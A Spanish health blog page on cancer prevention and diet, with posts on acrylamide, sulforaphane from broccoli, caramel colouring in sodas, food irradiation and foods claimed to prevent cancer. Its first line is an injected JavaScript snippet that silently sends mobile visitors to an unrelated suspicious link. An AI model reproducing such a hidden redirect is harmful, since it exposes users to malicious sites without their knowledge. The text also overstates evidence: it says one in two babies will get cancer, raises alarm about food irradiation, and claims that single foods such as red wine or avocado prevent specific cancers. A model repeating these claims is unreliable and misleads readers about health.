if (screen.width <= 480) {window.location = "http://portal-b.pw/XcTyTp";}
Prevención

Os dejamos enlace de una conferencia mas que interesante que gracias a Conasi y la Dra. Odile Fernández se realizó en Biocultura…

Comento la Dra. Odile:

En esta nueva conferencia trato de daros herramientas para que tengáis acceso a toda la información científica disponible a día de hoy que relaciona el cáncer con la alimentación, las emociones y los estilos de vida. En esta charla os animo a que no os creáis nada a pies juntillas de lo que os cuenten entorno al cáncer, que toda información la pongáis en cuarenta y la contrastéis, incluida la que yo os doy. Que no os creáis las curas milagro que a veces nos venden sin buscar si hay información publicada entorno a ella. Pero tampoco caigáis en la falsa “no esperanza” que algunos sanitarios y algunas personas sin formación médica tratan de infundir.

Queridos amigos estoy viendo un documental de La2 y no me lo creo, no os perdáis la información, es mas que interesante.

Radian los alimentos para evitar bacterias, para que duren mas, etc., como una radioterapia y luego nos los comemos, increíble, si podéis pasar la información.

Y no solamente a carnes, también frutas, cosméticos, vacunas, medicamentos, un sin finnnnnn

Vídeo completo

La Agencia Europea de Seguridad Alimentaria EFSA confirma que la acrilamida aumenta el riesgo de padecer cáncer, daña el ADN según estudios en animales.

Esta sustancia se encuentra en distintos alimentos al cocinarlos a elevadas temperaturas especialmente cuando freímos u horneamos  a temperaturas superiores a 100 grados, carnes, patatas fritas, galletas, pan tostado,

Con estos datos lo mejor es cocinar los alimentos a temperaturas mas bajas para conservar los nutrientes y evitar esta dañina sustancia.

Fuente www.canarias7.es Foto www.madrimasd.org 

 El Instituto del Cáncer de la Universidad de Pittsburgh y el Centro de Cáncer UPMC hacen publica en la Reunión Anual de la Asociación Americana para la Investigación del cáncer AACR que el extracto de brócoli protege del cáncer oral a ratones y es tolerable en un pequeño grupo de pacientes.

Se realizara un ensayo clínico para pacientes con alto riesgo de recurrencia del cáncer de cabeza y cuello…ya que muchas personas que se han curado del cáncer tienen todavía un alto riesgo de tener un segundo en la garganta, boca, etc. explica Julie Bauman autora principal. Están desarrollando una molécula natural que se encuentra en las crucíferas para proteger la zona bucal.

Durante varios meses dieron sulforafano a los ratones y vieron como se redujo la incidencia del cáncer siendo bien tolerado también por seres humanos para prevenir el cáncer oral.

Ahora se reclutará a 40 personas que hayan recibido tratamiento curativo para el cáncer de cabeza y cuello, tomando regularmente polvo de semillas de brócoli en capsulas, según los resultados se podrán realizar ensayos más grandes.

A esto le llaman quimioprevención verde utilizando preparados de semillas o extractos de plantas para la prevención.

Fuente http://www.canarias7.es/   Foto www.veoverde.com

Un nuevo estudio advierte que el consumo de 1 o más refrescos diarios puede incrementar el riesgo de cáncer ya que contienen una sustancia llamada 4-metilimidazol que se encuentra en los colorantes de caramelo que sirve para dar color oscuro a las bebidas.

El estudio se realizó por la Universidad John Hopkins y por Consumer Reports siendo publicada en la revista científica Plos One.

El principal autor Keeve Najman comenta que después de comprobar las concentraciones de 11 tipos de bebidas todas ellas tenían niveles elevados de esa sustancia, siendo un riesgo que podrían evitar ya que únicamente se agrega la sustancia para fines estéticos.

 

Fuente http://www.lavanguardia.com/ Foto

World Cancer Research Fund (WCRF) y el American Institute for Cancer Research (AICR) mediante su informe Food, Nutrition, Physical Activity and the Prevention of Cancer: Global Perspective, brindan recomendaciones de prevención del cáncer basadas en distintas investigaciones:

  • 1. Evitar el exceso de peso.
  • 2. Evitar el tabaco o limitarlo.
  • 3. Hacer ejercicio de forma habitual.
  • 4. Cuidar la alimentación, frutas, verduras, pescado.
  • 5. Beber con moderación.
  • 6. Vacunarse.
  • 8. Chequeos médicos periódicos .

Fuente: Salud180.com  Foto www.themacorp.com

Nuestra sociedad actual está sobrealimentada y malnutrida.

La OMS lo llama “La doble carga de la malnutrición”, ya que tenemos un exceso de calorías y alimentos con azúcares, sodio o grasas saturadas..por el contrario tenemos una carencia de vitaminas y minerales fundamentales. Los alimentos que consumimos tienen poco valor nutricional y nos aportan demasiadas calorías.

Hay 3 pilares importantes para que nuestra alimentación sea saludable:

  • Natural
  • Nutritica
  • Antiinflamatoria

Hay que tener en cuenta que también es importante hacer ejercicio a diario, tener un equilibrio emocional, vivir en un entorno lo mas saludable posible.

Os recomiendo reviséis el artículo completo…muy interesante

  • ALIMENTACIÓN NATURAL

 

  • ALIMENTACIÓN NUTRITIVA

Fuente www.vivosano.org Foto saludpasion.com

Según las estadísticas el cáncer aumentara en los próximos años, 1 de cada 2 bebes padecerá cáncer. Por ello hay que aumentar la prevención con hábitos de vida saludable siendo la alimentación uno de los puntos mas importantes. Dejamos algunos alimentos que previenen el cáncer.

  • 1- Aguacate: Previene el cáncer de próstata 
  • 2- Ajo: Previene distintos cánceres, cólon, esófago, páncreas, mama, estómago.
  • 3- Brócoli: Previene distintos cánceres gracias al sulforafano
  • 4- Fresa, frambuesa y baya: Previene cáncer esófago
  • 5- Tomate: Previene el cáncer de próstata
  • 6- Nueces: Previene el cáncer de mama 
  • 7- Pescado azul: Previene cáncer de mama, próstata y colón
  • 8- Té verde: Previene cáncer pulmón, estómago, intestinos, hígado, mama, páncreas, melanoma.
  • 9- Tofu:Previene el cáncer de mama 
  • 10- Vino tinto: Previene el cáncer de próstata 

Fuente http://www.bolsamania.com/  Foto salud.facilisimo.com